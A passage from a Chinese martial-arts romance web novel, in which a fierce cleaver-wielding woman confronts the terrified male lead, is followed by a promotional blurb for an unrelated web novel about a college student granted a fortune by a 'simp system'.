  洛湘瑶身后又闪出名女子,鹅蛋脸庞,天庭饱满,细柳长眉,像瓷娃娃一样美丽动人。一双大大的媚目如蕴电光,那媚目扫过全场,对视着无不觉得如遭电击。娟秀的身材之下,双手各提着一板刃锋背厚的厨刀,见了齐开阳叱声道:
  「来就来,还带个人干什么?」
  洛芸茵认出了这位叫做明琅的女子,她口气凶巴巴的,可看着齐开阳的目光却格外地温柔,还带着久别重逢的喜意。正待询问,只见齐开阳方才的雄赳赳气昂昂全化作云烟。
  此刻齐开阳简直是面如土色,像个小鸡仔一样抖个不停。看见那两板厨刀,双手在脸上抓了一把,湿淋淋的全是汗水,口中喃喃道:「大……大……大姐?
  完了完了,完蛋了……」
  楚明琅冷哼一声,道:「带了人来,就把她杀了再走!」

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,一个普通的大三学生,开局被甩,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开····· ...